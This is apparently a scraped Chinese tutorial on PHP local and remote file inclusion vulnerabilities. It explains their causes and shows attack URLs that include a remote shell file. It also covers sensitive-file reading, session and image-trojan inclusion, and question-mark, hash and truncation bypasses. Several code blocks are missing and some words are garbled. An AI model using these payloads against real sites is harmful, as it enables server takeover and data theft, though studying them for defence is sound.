0x00 文件包含与文件包含漏洞文件包含是指,服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行。文件包含还有另外一个名称,那就是代码重用。我们若是需要修改页面,只需要修改一个头部代码文件就可以了,其他上万个页面将会全部对应改变。 文件包含漏洞是指客户端(一般为浏览器)用户通过输入控制动念包含在版务器的文件,从而导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含LFI和远程文件包含RFI两种形式 0x01 文件包含函数文件包含的函数:
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;require函数出现错误的时候,会直接报错并退出程序的执行。 而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。 0x02 漏洞产生原因文件包含函数加载的参数没有经过过滤或者严格的定义,用户可以操作一些敏感文件,文件泄露和恶意代码注入,可以被用户控制,包含其他恶意文件,执行非预期的代码 filename参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改filename的值,执行非预期的操作。 0x03 本地文件包含本地文件包含LFI也即Local File Inclusion,其特性是可包含任意类型的文件,当被包含的文件书写符合php书写规范,即(<?php……….代码.……?>或<?.…代码…?>)时,不论文件后缀是什么,都可以解析其中的php代码,当书写规范不符合时,则以文本形式输出。 执行结果: 0x04 远程文件包含远程文件包含RFI也即Remote File Inclusion,其基本原理与本地文件包含LFI类似,区别只是被包含的文件由原来的本地文件路径变为远程文件路径。其特性是可包含任意类型的文件,并且如果被包含文件中有类似"<?php…(省略号为php代码)?>”或 allow_url_fopen = On(是否允许打开远程文件) 前提:需要开启allow_url_fopen,默认关闭。 新建file.txt
访问http://www./include.php?file=http://www./file.txt 0x05 文件包含利用读取敏感信息通过目录遍历可以获取到系统中其他文件的内容: 常见敏感信息路径Windows系统
Linux/Unix系统
session文件包含漏洞(待续)利用条件: session的存储位置可以获取。
通过phpinfo的信息,获取到session.save_path为/var/lib/php/session: 获取到session的存储位置
如linux下默认存储在/var/lib/php/session目录下: 默认存储 session中的内容可以被控制,传入恶意代码。 远程包含shell新建file.txt保存在远程服务器上:
如果目标网站存在远程包含漏洞,则可以通过访问:http://www./index.php?file=http://www./file.txt
利用php协议进行包含(参考《PHP伪协议》)
本地包含配合文件上传如果目标服务器关闭了allow_url_fopen,则可以尝试使用本地包含 文件上传
访问URL:http://www./index.php?file=./file.jpg 0x06 绕过方法问号绕过源码:
代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。 井号绕过http://www./index.php?filename=http://xxx2/file.txt# 截断包含源码:
截断包含新建file.jpg,写入内容:
这样的话比如上传一个file.jpg图片马,则访问http://www./file.jpg 使用长目录截断常用绕过方式:
在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。所以成功绕过 来源:https://www./content-1-854501.html |
|